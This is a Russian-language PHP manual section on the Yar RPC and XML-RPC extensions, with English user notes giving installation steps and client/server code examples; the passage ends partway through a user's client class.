124960772 at qq dot com 10-Nov-2015 11:03
<?php
function callback($ret, $callinfo) {
    echo $callinfo['method'] , " result: ", $ret , "\n";
}

/* ???????? */
Yar_Concurrent_Client::call("http://example.com/operator.php", "add", array(1, 2), "callback");
/* ?????????, ????, ???Yar???callback???? */
Yar_Concurrent_Client::loop();
/* ??call ,?????call???*/
Yar_Concurrent_Client::reset();
Yar_Concurrent_Client::call("http://example.com/operator.php", "sub", array(2, 1), "callback");
Yar_Concurrent_Client::loop();

?>


Класс Yar_Server

(Информация о версии неизвестна, возможно, только в Git)

Введение

Обзор классов

class Yar_Server {
/* Свойства */
protected $_executor;
/* Методы */
final public __construct(Object $obj)
public handle(): bool
}

Свойства

_executor

Содержание

  • Yar_Server::__construct — Конструктор Yar_Server
  • Yar_Server::handle — Запустить сервер RPC

User Contributed Notes

There are no user contributed notes for this page.


Конструктор Yar_Server

  • « Yar_Server
  • Yar_Server::handle »
  • PHP Manual
  • Yar_Server
  • Конструктор Yar_Server

Yar_Server::__construct

(PECL yar >= 1.0.0)

Yar_Server::__construct — Конструктор Yar_Server

Описание

final public Yar_Server::__construct(Object $obj)

Устанавливает Yar HTTP RPC сервер. Все публичные методы объекта $obj будут зарегистрированы как RPC-сервисы.

Список параметров

obj

Объект, публичные методы которого будут зарегистрированы как RPC-сервисы.

Возвращаемые значения

Объект класса Yar_Server.

Примеры

Пример #1 Пример использования Yar_Server::__construct()

<?php
class API {
/**
* the doc info will be generated automatically into service info page.
* @params
* @return
*/
public function some_method($parameter, $option = "foo") {
return "some_method";
}

protected function client_can_not_see() {
}
}

$service = new Yar_Server(new API());
$service->handle();
?>

Вывод приведённого примера будет похож на:

Смотрите также

  • Yar_Server::handle() - Запустить сервер RPC
    •

User Contributed Notes

There are no user contributed notes for this page.


Запустить сервер RPC

  • « Yar_Server::__construct
  • Yar_Client »
  • PHP Manual
  • Yar_Server
  • Запустить сервер RPC

Yar_Server::handle

(PECL yar >= 1.0.0)

Yar_Server::handle — Запустить сервер RPC

Описание

public Yar_Server::handle(): bool

Запустить сервер RPC HTTP и приготовиться принимать запросы.

Замечание:

Обычно RPC-запросы осуществляются с помощью HTTP POST. Если будет использован запрос HTTP GET, то будет напечатана информация о сервисе (закомментированная секция выше).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

boolean

Примеры

Пример #1 Пример использования Yar_Server::handle()

<?php
class API {
/**
* the doc info will be generated automatically into service info page.
* @params
* @return
*/
public function some_method($parameter, $option = "foo") {
}

protected function client_can_not_see() {
}
}

$service = new Yar_Server(new API());
$service->handle();
?>

Вывод приведённого примера будет похож на:

Смотрите также

  • Yar_Server::__construct() - Конструктор Yar_Server
    •

User Contributed Notes

There are no user contributed notes for this page.


Класс Yar_Client

(Информация о версии неизвестна, возможно, только в Git)

Введение

Обзор классов

class Yar_Client {
/* Свойства */
protected $_protocol;
protected $_uri;
protected $_options;
protected $_running;
/* Методы */
public __call(string $method, array $parameters): void
final public __construct(string $url, array $options = ?)
public setOpt(int $name, mixed $value): Yar_Client|false
}

Свойства

_protocol

_uri

_options

_running

Содержание

  • Yar_Client::__call — Вызов сервиса
  • Yar_Client::__construct — Конструктор Yar_Client
  • Yar_Client::setOpt — Задаёт контекст вызова

User Contributed Notes

porschegt23 at foxmail dot com 05-Jul-2016 11:07
A simple example on here:

server.php
<?php
class API {

    public function api($parameter = "", $option = "foo") {
          return $this->client_can_not_see($parameter);
    }

    public function doAdd($a = 0, $b = 0) {
          return $a+$b;
    }

    protected function client_can_not_see( $name ) {
      return "??$name~";
    }
}

$service = new Yar_Server ( new API () );
$service->handle ();
?>
client.php
<?php
  $client = new Yar_Client("http://host/server.php");
  $result = $client->api("parameter");
  echo $result.'<hr>';
  echo $client->doAdd(10, 20);
?>


Вызов сервиса

  • « Yar_Client
  • Yar_Client::__construct »
  • PHP Manual
  • Yar_Client
  • Вызов сервиса

Yar_Client::__call

(PECL yar >= 1.0.0)

Yar_Client::__call — Вызов сервиса

Описание

public Yar_Client::__call(string $method, array $parameters): void

Производит вызов удалённого RPC-метода.

Список параметров

method

Имя удалённого метода.

parameters

Параметры.

Возвращаемые значения

Примеры

Пример #1 Пример использования Yar_Client::__call()

<?php

$client = new Yar_Client("http://host/api/");

/* вызов удалённого сервиса */
$result = $client->some_method("parameter");
?>

Вывод приведённого примера будет похож на:

Смотрите также

  • Yar_Client::setOpt() - Задаёт контекст вызова
    •

User Contributed Notes

There are no user contributed notes for this page.


Конструктор Yar_Client

  • « Yar_Client::__call
  • Yar_Client::setOpt »
  • PHP Manual
  • Yar_Client
  • Конструктор Yar_Client

Yar_Client::__construct

(PECL yar >= 1.0.0)

Yar_Client::__construct — Конструктор Yar_Client

Описание

final public Yar_Client::__construct(string $url, array $options = ?)

Создаёт Yar_Client для Yar_Server.

Список параметров

url

URL сервера Yar.

Возвращаемые значения

Объект класса Yar_Client.

Примеры

Пример #1 Пример использования Yar_Client::__construct()

<?php
$client = new Yar_Client("http://host/api/");
?>

Вывод приведённого примера будет похож на:

Смотрите также

  • Yar_Client::__call() - Вызов сервиса
    •

  • Yar_Client::setOpt() - Задаёт контекст вызова
    •

User Contributed Notes

There are no user contributed notes for this page.


Задаёт контекст вызова

  • « Yar_Client::__construct
  • Yar_Concurrent_Client »
  • PHP Manual
  • Yar_Client
  • Задаёт контекст вызова

Yar_Client::setOpt

(PECL yar >= 1.0.0)

Yar_Client::setOpt — Задаёт контекст вызова

Описание

public Yar_Client::setOpt(int $name, mixed $value): Yar_Client|false

Список параметров

name

Параметр может принимать значения: YAR_OPT_PACKAGER, YAR_OPT_PERSISTENT (необходима поддержка на сервере), YAR_OPT_TIMEOUT, YAR_OPT_CONNECT_TIMEOUT, YAR_OPT_HEADER (константа доступна с версии 2.0.4), YAR_OPT_PROXY (константа доступна с версии 2.0.4)

value

Возвращаемые значения

Возвращает $this в случае успешного завершения или false, если возникла ошибка.

Примеры

Пример #1 Пример использования Yar_Client::setOpt()

<?php

$cient = new Yar_Client("http://host/api/");

// Установим время ожидания на 1 секунду
$client->SetOpt(YAR_OPT_CONNECT_TIMEOUT, 1000);

// Установим упаковщик JSON
$client->SetOpt(YAR_OPT_PACKAGER, "json");

// Установим собственный заголовок
$client->SetOpt(YAR_OPT_HEADER, array("hr1: val1", "hd2: val2"));

// Установим HTTP-прокси
$client->SetOpt(YAR_OPT_PROXY, "127.0.0.1:8888");

/* Вызовем удалённый сервис */
$result = $client->some_method("parameter");
?>

Вывод приведённого примера будет похож на:

Смотрите также

  • Yar_Client::__call() - Вызов сервиса
    •

User Contributed Notes

There are no user contributed notes for this page.


Класс Yar_Concurrent_Client

(Информация о версии неизвестна, возможно, только в Git)

Введение

Обзор классов

class Yar_Concurrent_Client {
/* Свойства */
static $_callstack;
static $_callback;
static $_error_callback;
/* Методы */
public static call(
string $uri,
string $method,
array $parameters = ?,
callable $callback = ?,
callable $error_callback = ?,
array $options = ?
): int
public static loop(callable $callback = ?, callable $error_callback = ?): bool
public static reset(): bool
}

Свойства

_callstack

_callback

_error_callback

Содержание

  • Yar_Concurrent_Client::call — Зарегистрировать конкурентный вызов
  • Yar_Concurrent_Client::loop — Запуск всех зарегистрированный вызовов
  • Yar_Concurrent_Client::reset — Очистить все зарегистрированные вызовы

User Contributed Notes

There are no user contributed notes for this page.


Зарегистрировать конкурентный вызов

  • « Yar_Concurrent_Client
  • Yar_Concurrent_Client::loop »
  • PHP Manual
  • Yar_Concurrent_Client
  • Зарегистрировать конкурентный вызов

Yar_Concurrent_Client::call

(PECL yar >= 1.0.0)

Yar_Concurrent_Client::call — Зарегистрировать конкурентный вызов

Описание

public static Yar_Concurrent_Client::call(
string $uri,
string $method,
array $parameters = ?,
callable $callback = ?,
callable $error_callback = ?,
array $options = ?
): int

Регистрирует RPC-вызов, но не посылает его немедленно, а откладывает до моменты вызова Yar_Concurrent_Client::loop()

Список параметров

uri

URI (http, tcp) сервера RPC

method

Имя сервиса (имя метода)

parameters

Параметры

callback

Callback-функция, которая будет вызвана после отработки удалённого запроса.

Возвращаемые значения

Уникальный идентификатор.

Примеры

Пример #1 Пример использования Yar_Concurrent_Client::call()

<?php
function callback($retval, $callinfo) {
var_dump($retval);
}

function error_callback($type, $error, $callinfo) {
error_log($error);
}

Yar_Concurrent_Client::call("http://host/api/", "some_method", array("parameters"), "callback");

//если функция обратного вызова не задана, то будет использована определённая в цикле вызовов
Yar_Concurrent_Client::call("http://host/api/", "some_method", array("parameters"));

//этот сервер принимает упаковку JSON
Yar_Concurrent_Client::call("http://host/api/", "some_method", array("parameters"), "callback", NULL, array(YAR_OPT_PACKAGER => "json"));

//отдельно заданное время ожидания
Yar_Concurrent_Client::call("http://host/api/", "some_method", array("parameters"), "callback", NULL, array(YAR_OPT_TIMEOUT=>1));

//запросы всё ещё не запущены
?>

Вывод приведённого примера будет похож на:

Смотрите также

  • Yar_Concurrent_Client::loop() - Запуск всех зарегистрированный вызовов
    •

  • Yar_Concurrent_Client::reset() - Очистить все зарегистрированные вызовы
    •

  • Yar_Server::__construct() - Конструктор Yar_Server
    •

  • Yar_Server::handle() - Запустить сервер RPC
    •

User Contributed Notes

There are no user contributed notes for this page.


Запуск всех зарегистрированный вызовов

  • « Yar_Concurrent_Client::call
  • Yar_Concurrent_Client::reset »
  • PHP Manual
  • Yar_Concurrent_Client
  • Запуск всех зарегистрированный вызовов

Yar_Concurrent_Client::loop

(PECL yar >= 1.0.0)

Yar_Concurrent_Client::loop — Запуск всех зарегистрированный вызовов

Описание

public static Yar_Concurrent_Client::loop(callable $callback = ?, callable $error_callback = ?): bool

Запускает все зарегистрированные вызовы.

Список параметров

callback

Если задана функция обратного вызова, то она будет запущена после запуска всех запросов но до получения ответов от них с параметром $callinfo равным NULL.

Далее, если функция обратного вызова не была задана при регистрации вызова, то для обработки результата будет вызвана эта функция.

error_callback

Если этот параметр задан, то Yar запустит эту функцию в случае возникновения ошибки.

Возвращаемые значения

Примеры

Пример #1 Пример использования Yar_Concurrent_Client::loop()

<?php
function callback($retval, $callinfo) {
if ($callinfo == NULL) {
echo "Так, все запросы запущены, но пока ни одного ответа\n";
} else {
echo "Это ответ от удалённого запроса. Имя метода", $callinfo["method"],
". Был зарегистрирован " , $callinfo["sequence"] , "\n";
var_dump($retval);
}
}

function error_callback($type, $error, $callinfo) {
error_log($error);
}

Yar_Concurrent_Client::call("http://host/api/", "some_method", array("parameters"), "callback");

//если функция обратного вызова не задана, то будет использована определённая в цикле вызовов
Yar_Concurrent_Client::call("http://host/api/", "some_method", array("parameters"));

//этот сервер принимает упаковку JSON
Yar_Concurrent_Client::call("http://host/api/", "some_method", array("parameters"), "callback", NULL, array(YAR_OPT_PACKAGER => "json"));

//отдельно заданное время ожидания
Yar_Concurrent_Client::call("http://host/api/", "some_method", array("parameters"), "callback", NULL, array(YAR_OPT_TIMEOUT=>1));

Yar_Concurrent_Client::loop("callback", "error_callback"); //запускаем запросы,
//параметр error_callback не обязателен
?>

Вывод приведённого примера будет похож на:

Так, все запросы запущены, но пока ни одного ответа
Это ответ от удалённого запроса. Имя метода issome_method. Был зарегистрирован 4
string(11) "some_method"
Это ответ от удалённого запроса. Имя метода issome_method. Был зарегистрирован 1
string(11) "some_method"
Это ответ от удалённого запроса. Имя метода issome_method. Был зарегистрирован 2
string(11) "some_method"
Это ответ от удалённого запроса. Имя метода issome_method. Был зарегистрирован 3
string(11) "some_method"

Смотрите также

  • Yar_Concurrent_Client::call() - Зарегистрировать конкурентный вызов
  • Yar_Concurrent_Client::reset() - Очистить все зарегистрированные вызовы
  • Yar_Server::__construct() - Конструктор Yar_Server
  • Yar_Server::handle() - Запустить сервер RPC

User Contributed Notes

There are no user contributed notes for this page.


Очистить все зарегистрированные вызовы

  • « Yar_Concurrent_Client::loop
  • Yar_Server_Exception »
  • PHP Manual
  • Yar_Concurrent_Client
  • Очистить все зарегистрированные вызовы

Yar_Concurrent_Client::reset

(PECL yar >= 1.2.4)

Yar_Concurrent_Client::reset — Очистить все зарегистрированные вызовы

Описание

public static Yar_Concurrent_Client::reset(): bool

Очищает все зарегистрированные вызовы

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования Yar_Concurrent_Client::reset()

Вывод приведённого примера будет похож на:

Смотрите также

  • Yar_Concurrent_Client::call() - Зарегистрировать конкурентный вызов
    •

  • Yar_Concurrent_Client::loop() - Запуск всех зарегистрированный вызовов
    •

  • Yar_Server::__construct() - Конструктор Yar_Server
    •

  • Yar_Server::handle() - Запустить сервер RPC
    •

User Contributed Notes

There are no user contributed notes for this page.


Класс Yar_Server_Exception

(Информация о версии неизвестна, возможно, только в Git)

Введение

Если сервис выбрасывает исключения, на стороне клиента будет выброшено исключение Yar_Server_Exception.

Обзор классов

class Yar_Server_Exception extends Exception {
/* Свойства */
protected $_type;
/* Методы */
public getType(): string
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

Свойства

message

code

file

line

_type

Содержание

  • Yar_Server_Exception::getType — Получить тип исключения

User Contributed Notes

There are no user contributed notes for this page.


Получить тип исключения

  • « Yar_Server_Exception
  • Yar_Client_Exception »
  • PHP Manual
  • Yar_Server_Exception
  • Получить тип исключения

Yar_Server_Exception::getType

(PECL yar >= 1.0.0)

Yar_Server_Exception::getType — Получить тип исключения

Описание

public Yar_Server_Exception::getType(): string

Получить изначальный тип исключения, выброшенного на сервере.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Строка

Примеры

Пример #1 Пример использования Yar_Server_Exception::getType()

//Server.php
<?php
class Custom_Exception extends Exception {};

class API {
public function throw_exception($name) {
throw new Custom_Exception($name);
}
}

$service = new Yar_Server(new API());
$service->handle();
?>

//Client.php
<?php
$client = new Yar_Client("http://host/api.php");

try {
$client->throw_exception("client");
} catch (Yar_Server_Exception $e) {
var_dump($e->getType());
var_dump($e->getMessage());
}

Вывод приведённого примера будет похож на:

string(16) "Custom_Exception"
string(6) "client"

Смотрите также

User Contributed Notes

There are no user contributed notes for this page.


Класс Yar_Client_Exception

(Информация о версии неизвестна, возможно, только в Git)

Введение

Обзор классов

class Yar_Client_Exception extends Exception {
/* Свойства */
/* Методы */
public getType(): string
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

Свойства

message

code

file

line

Содержание

  • Yar_Client_Exception::getType — Получить тип исключения

User Contributed Notes

There are no user contributed notes for this page.


Получить тип исключения

  • « Yar_Client_Exception
  • XML-RPC »
  • PHP Manual
  • Yar_Client_Exception
  • Получить тип исключения

Yar_Client_Exception::getType

(PECL yar >= 1.0.0)

Yar_Client_Exception::getType — Получить тип исключения

Описание

public Yar_Client_Exception::getType(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает "Yar_Exception_Client".

Примеры

Пример #1 Пример использования Yar_Client_Exception::getType()

<?php

/* ... */

?>

Вывод приведённого примера будет похож на:

...

Смотрите также

  • Yaf_Server_Exception::getType()

User Contributed Notes

There are no user contributed notes for this page.


XML-RPC

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции XML-RPC
    • xmlrpc_decode_request — Декодирует XML в нативные типы PHP
    • xmlrpc_decode — Декодирует XML в нативные типы PHP
    • xmlrpc_encode_request — Генерирует XML для метода запроса
    • xmlrpc_encode — Генерирует XML для PHP значения
    • xmlrpc_get_type — Получает XML-RPC тип для значения PHP
    • xmlrpc_is_fault — Определяет, является ли массив значений представлением ошибки XMLRPC
    • xmlrpc_parse_method_descriptions — Декодирует XML в список описаний методов
    • xmlrpc_server_add_introspection_data — Добавляет документацию самоанализа
    • xmlrpc_server_call_method — Разбирает XML-запросы и вызывающие методы
    • xmlrpc_server_create — Создаёт сервер XML-RPC
    • xmlrpc_server_destroy — Уничтожает серверные ресурсы
    • xmlrpc_server_register_introspection_callback — Регистрирует функцию PHP для генерации документации
    • xmlrpc_server_register_method — Регистрирует функцию PHP к методу ресурса, соответствующему method_name
    • xmlrpc_set_type — Устанавливает тип XML-RPC, base64 или datetime для значения строки PHP

User Contributed Notes

There are no user contributed notes for this page.


Введение

Эти функции могут быть использованы для написания серверов и клиентов XML-RPC. Вы можете найти более подробную информацию о XML-RPC по ссылке » http://www.xmlrpc.com/, и много документации для этого модуля и его функций по ссылке » http://xmlrpc-epi.sourceforge.net/.

Внимание

Этот ЭКСПЕРИМЕНТАЛЬНЫЙ модуль. Поведение модуля, включая имена функций и документацию, которая относится к модулю, может измениться в следующих версиях PHP без уведомления. Модулем пользуются на свой страх и риск.

User Contributed Notes

giunta dot gaetano at gmail dot com 29-Dec-2020 01:21
If you have troubles installing the php extension, there is an alternative package which tries to implement the same API  as pure-php library and can be installed via Composer: phpxmlrpc/polyfill-xmlrpc


Установка

Поддержка XML-RPC в PHP не включена по умолчанию. Вам нужно будет использовать конфигурационную опцию --with-xmlrpc[=DIR] при компиляции PHP для включения поддержки XML-RPC.

User Contributed Notes

boldizar dot santo at gmail dot com 02-Aug-2023 08:23
For Linux Mint use the next cli command:
sudo apt-get install php-xmlrpc;
sudo service apache2 restart;
Lars 06-Mar-2023 08:51
Since PHP 8.0 the xmlrpc extension is not shipped with php any more.
Go to https://pecl.php.net/package/xmlrpc and download the latest version.

For linux you might use something like that:

$ wget https://pecl.php.net/get/xmlrpc-1.0.0RC3.tg
$ tar xfv xmlrpc-1.0.0RC3.tg
$ cd xmlrpc-1.0.0RC3
$ phpize && ./configure && make && make test && make install

Add the build extension in your php.ini section and don't forget to restart php-fpm or your webserver after the installation.

To verify the installation, you can use something like this (should at least return the line "xmlrpc"):
$ php -i | grep xmlrpc | grep -v "xmlrpc_error"
georgemilojevic at gmail dot com 11-Oct-2022 10:30
# For MacOS users (using M1 machine - Version: 12.5.1)

brew install pkg-config

pecl install channel://pecl.php.net/xmlrpc-1.0.0RC3

Then restart your apache, the extensions should be automatically added to php.ini and the output of phpinfo() should show it now
Clive 13-Apr-2022 10:41
Unless my host has deliberately installed it, PHP 8.0.17 still has xmlrpc included (1.0.0RC3).
pitje 31-Jan-2021 07:40
according to php(dot)watch/versions/8.0/xmlrpc ,
PHP 8.0: XMLRPC extension is moved to PECL

checked, xmlrpc-1.0.0RC2 works for me
giunta dot gaetano at gmail dot com 29-Dec-2020 01:18
Here's what I had to do in order to install the xmlrpc extension on php 8 (from sury repos) on Ubuntu 16, as there is no package available via pecl or apt:

# build
git clone https://git.php.net/repository/pecl/networking/xmlrpc.git
export CPPFLAGS=-I/usr/include/libxml2/
cd xmlrpc && phpize && ./configure --with-expat && make && make install

# enable - this varies depending on your configuration; apache/nginx/fpm will also need to be restarted
echo "extension=xmlrpc.so" > /etc/php/8.0/mods-available/xmlrpc.ini
ln -s /etc/php/8.0/mods-available/xmlrpc.ini /etc/php/8.0/cli/conf.d/20-xmlrpc.ini
ln -s /etc/php/8.0/mods-available/xmlrpc.ini /etc/php/8.0/fpm/conf.d/20-xmlrpc.ini
Anonymous 15-Dec-2020 02:11
for centos try:
yum install php-xmlrpc


Типы ресурсов

Модуль определяет серверный ресурс XML-RPC, возвращаемый xmlrpc_server_create().

User Contributed Notes

There are no user contributed notes for this page.


Функции XML-RPC

Содержание

  • xmlrpc_decode_request — Декодирует XML в нативные типы PHP
  • xmlrpc_decode — Декодирует XML в нативные типы PHP
  • xmlrpc_encode_request — Генерирует XML для метода запроса
  • xmlrpc_encode — Генерирует XML для PHP значения
  • xmlrpc_get_type — Получает XML-RPC тип для значения PHP
  • xmlrpc_is_fault — Определяет, является ли массив значений представлением ошибки XMLRPC
  • xmlrpc_parse_method_descriptions — Декодирует XML в список описаний методов
  • xmlrpc_server_add_introspection_data — Добавляет документацию самоанализа
  • xmlrpc_server_call_method — Разбирает XML-запросы и вызывающие методы
  • xmlrpc_server_create — Создаёт сервер XML-RPC
  • xmlrpc_server_destroy — Уничтожает серверные ресурсы
  • xmlrpc_server_register_introspection_callback — Регистрирует функцию PHP для генерации документации
  • xmlrpc_server_register_method — Регистрирует функцию PHP к методу ресурса, соответствующему method_name
  • xmlrpc_set_type — Устанавливает тип XML-RPC, base64 или datetime для значения строки PHP

User Contributed Notes

digibrisk at gmail dot NOSPAM dot SPAMNO dot com 05-Oct-2007 03:24
Adding to what giunta dot gaetano at sea-aeroportimilano dot it and astrolox at lawyersonline dot co dot uk said about the Sourceforge PHP XML-RPC project: You can probably use function_exists() to determine whether the extension is installed so you don't have to incur performance costs. If it's not installed, then the function won't exist, and function_exists() returns false. You can then fall back on the alternative library if that's the case. For example:

<?php

if(!function_exists("xmlrpc_server_create")) {
    // include necessary files.
}

?>
handco at gmail dot com 20-Feb-2007 08:19
Hi,

A little snippet to implement OO XML RPC Server.

File RPCPlugin.php :

class RPCPlugins {

    private $plugins;

    function __construct ($pathname, $rpcServer) {
        $d = dir($pathname);
        while (($file = $d->read()) !== false) {
            if (ereg('(.*)\.php$', $file, $regs)) {
                include_once ($pathname . '/' . $file);
                $class=$regs[1];
                $this->plugins = new $class($rpcServer);
            }
        }
    }

}

class RPCPlugin {

    private $_rpcServer;

    function __construct($rpcServer) {
        $this->_rpcServer = $rpcServer;

        $methods = get_class_methods($this);

        foreach ($methods as $method) {
            if (substr($method, 0,1) != '_') {
                xmlrpc_server_register_method($rpcServer,get_class($this) . "." . $method,array(&$this,$method));
            }
        }

    }

}

An example of plugin in plugins/Test.php  :

 class Test extends RPCPlugin {

     function HelloWorld ($method, $params) {
         return "Hello World --->>" . $params[0];
     }

 }

Now the real server :

require_once 'RPCPlugin.php';

 $rpcServer = xmlrpc_server_create();

$plugins = new RPCPlugins(realpath('plugins/'), $rpcServer);

 $resp = xmlrpc_server_call_method($rpcServer,$HTTP_RAW_POST_DATA,null);
 if ($resp) {
     header ('Content-Type: text/xml');
     echo $resp;
 }
 xmlrpc_server_destroy($rpcServer)

Then you can call ethod by classname.method.
For this sample Test.HelloWorld

Hn'Co
giunta dot gaetano at sea-aeroportimilano dot it 13-Sep-2006 06:40
If you need to use this extension but are stuck on a server where it can not be installed, the php-xmlrpc library found at http://phpxmlrpc.sourceforge.net includes an emulation layer that aims to be 100% compatible with the API of the native extension (as part of the "extras" package since version 0.2).
This means your code should be able to run unmodified on top of the php-xmlrpc library. Of course performance will be at least an order of magnitude worse...
keithNO dot SPAMthornhill at gmail dot com 17-May-2006 02:16
for others attempting the same thing, here is what a function would look like if you wanted to send a base64 encoded file from a client and then save it onto the server. the other code necessary to call this function via an RPC is available in other comments so i won't repeat it.

parameters:
1 - name of file
2 - base64 encoded data of file

note the use of $file_data->scalar

<?
    function sendFile($method_name, $params, $user_data) {
        $file = "/somedir/" . $params[0];
        $file_data = $params[1];

        $fh = @fopen($file, "wb");
        if ($fh) {
            if (@fwrite($fh, $file_data->scalar)) {
                $msg = "success msg";
            } else {
                $msg = "couldn't write to file";
            }
            fclose($fh);
            return $msg;
        } else {
            return "couldn't open file";
        }
    }
?>
09-Mar-2006 12:47
This XML-RPC Service makes the use XML-RPC very esay.

<?php

/**
* function myfun() returns
*@return array
*/
function myfunc(){
    return $some_array;
}

$ws = new XML_RPC_Server();
$ws->registerFunction('myfunc');
$ws->run();

?>

http://www.pure-php.de/node/31

It creates also a simple docu.
http://www.pure-php.com/php/service.php?doc
john # curioussymbols com 19-Oct-2005 04:37
I couldn't make the 'xmlrpc_errors' php.ini setting do anything
noticeable (PHP 4.3.11), so I used the following code to report errors
from my XMLRPC server. Hope it's helpful for someone.

<?php
function return_xmlrpc_error($errno,$errstr,$errfile=NULL,$errline=NULL
       ,$errcontext=NULL){
    global $xmlrpc_server;
    if(!$xmlrpc_server)die("Error: $errstr in '$errfile', line '$errline'");

    header("Content-type: text/xml; CHARSET=Windows-1251");
    print(xmlrpc_encode(array(
        'faultCode'=>$errno
        ,'faultString'=>"Remote XMLRPC Error from
          ".$_SERVER['HTTP_HOST'].": $errstr in at $errfile:$errline"
    )));
    die();
}
set_error_handler('return_xmlrpc_error');
?>

In my server function, I just trigger_error("message",E_USER_ERROR)]
 if something can't be completed.

Then on the client side,
<?php
        $data =& xmlrpc_decode($response['body']);

        if(xmlrpc_is_fault($data)){
            trigger_error($data['faultString'],E_USER_ERROR);
        }
?>
martin dot rode at programmfabrik dot de 04-Aug-2005 05:28
To connect to a python xmlrpc server I use:

function do_call($host, $port, $request) {

    $url = "http://$host:$port/";
    $header[] = "Content-type: text/xml";
    $header[] = "Content-length: ".strlen($request);

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, 1);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $request);

    $data = curl_exec($ch);
    if (curl_errno($ch)) {
        print curl_error($ch);
    } else {
        curl_close($ch);
        return $data;
    }
}

$request = xmlrpc_encode_request('add', array(3, 4));
$response = do_call($host, $port, $request);
astrolox at lawyersonline dot co dot uk 22-Mar-2005 04:20
The PHP XML-RPC project at SourceForge makes life a hell of a lot easier. However, the project uses some function names which are identical to thoses provided by the XML-RPC extention.

If you are on a server with XML-RPC extension compiled in but wish to use the PHP based version then you will have to rename some of the functions.

I notice that sourceforce says there is activity on the project in 2005 but the last release was January 12, 2003.

I recommend that you use this not so friendly PHP extention if available. However this sourceforce project is still a good idea if you don't control which extenions are be available on the server.

http://phpxmlrpc.sourceforge.net/
Jerome Delamarche 14-Oct-2004 02:58
The documentation lacks an example that shows how to send a fault in a response. Here is how to do it:

$args = array("faultCode" => $errcode, "faultString" => $errmsg);
$resp = xmlrpc_encode_request(NULL,$args);
//echo $resp;
php at hendrik-krauss dot de 13-Aug-2004 12:38
On "datetime" values:

If you implement an XML-RPC server with these functions and a client calls a method on your server, sending a datetime as parameter (in ISO 8601 format, as specified at http://www.xmlrpc.com/spec), the PHP XML-RPC will pass your registered server method an object as parameter. That object, for example, looks like:
obj->type="datetime"
obj->scalar="20040420T13:32:40"
obj->timestamp=1082460760

If you do xmlrpc_get_type(obj), it will return "datetime", so presumably that function just returns the value of 'type'. 'scalar' seems to be the on-the-wire representation of the datetime (ISO 8601, exactly as received). 'timestamp' appears to be the ISO value in 'scalar' converted into a normal PHP timestamp (i.e. Unix time_t).

Note on 'scalar': Using a MySQL DB, we did something like  "select blah where start_time >= $obj->scalar ;". That actually worked and returned expected results, so MySQL appears to handle that ISO 8601 format correctly.
swunderlin at REMOVE-telemedia dot ch 09-Jun-2004 03:20
pear hs an XML_RPC package, if you can't recompile your php:
http://pear.php.net/package/XML_RPC
steph at zend dot com 08-Jun-2004 04:04
It took me a while to get a client together without external libraries.  This very basic client/server pair works on my home set-up - hopefully it will save the next xml-rpc virgin some grief.

/* clienttest.php */
<?php
function do_call($host, $port, $request) {

    $fp = fsockopen($host, $port, $errno, $errstr);
    $query = "POST /home/servertest.php HTTP/1.0\nUser_Agent: My Egg Client\nHost: ".$host."\nContent-Type: text/xml\nContent-Length: ".strlen($request)."\n\n".$request."\n";

    if (!fputs($fp, $query, strlen($query))) {
        $errstr = "Write error";
        return 0;
    }

    $contents = '';
    while (!feof($fp)) {
        $contents .= fgets($fp);
    }

    fclose($fp);
    return $contents;
}

$host = 'localhost';
$port = 80;
$request = xmlrpc_encode_request('cycle', 'egg');
$response = do_call($host, $port, $request);
/* do something with $response, e.g. print it */
?>

/* servertest.php */
<?php
function lifecycle($method, $params) {
/* $method = 'cycle', $params = (array of) request parameter(s); $data is also passed from xmlrpc_server_call_method, if we had any data to pass */
    switch($params[0]) {
        case 'egg':
            $reply = 'All eggs will be birds one day.';
        break;
        default:
            $reply = 'That must have been an otheregg';
    }
    return $reply;
}

$server = xmlrpc_server_create();

/* register the 'external' name and then the 'internal' name */
xmlrpc_server_register_method($server, "cycle", "lifecycle");

$request = $HTTP_RAW_POST_DATA; // no you don't need 'always on', and no $_POST doesn't work.

/* the parameters here are 'server, xml-string and user data'.  There's supposed to be an optional 'output options' array too, but I can't get it working :( hence header() call */
$response = xmlrpc_server_call_method($server, $request, null);
header('Content-Type: text/xml');
print $response;

xmlrpc_server_destroy($server);
?>
mboeren at php dot net 25-Feb-2004 04:34
Just a quick addition to my previous xmlrpc_client class: since you cannot use remote methods containing capital letters or methods from subhandlers (like 'system.listMethods()'), I added a 'call(...)' method to the class.

<?php
    // this method should be copy/pasted in the
    // xmlrpc_client class

    function call($function)
    {
        $return = NULL;
        $argv = func_get_args();
        array_shift($argv); // remove function argument
        $this->__call($function, $argv, &$return);
        return $return;
    }

    // now, you can also do
    $result = $client->call('system.listMethods');
    $sum = client->call('add', '1', '2');
?>
mboeren at php dot net 24-Feb-2004 07:01
I use the following code (requires the overload extension) to make developing clients easier:

<?php
include("utils/utils.php"); // from xmlrpc-epi utils

/*
Usage:
    $client = new xmlrpc_client("http://localhost:7080");
    print $client->echo('x')."\n";
    print $client->add(1, 3)."\n";

*/
class xmlrpc_client
{
    var $url;
    var $urlparts;

    function xmlrpc_client($url)
    {
        $this->url = $url;
        $this->urlparts = parse_url($this->url);
        foreach(array('scheme', 'host', 'user', 'pass', 'path',
                      'query', 'fragment')
                as $part) {
            if (!isset($this->urlparts[$part])) {
                $this->urlparts[$part] = NULL;
                }
            }
    }

    function __call($function, $arguments, &$return)
    {
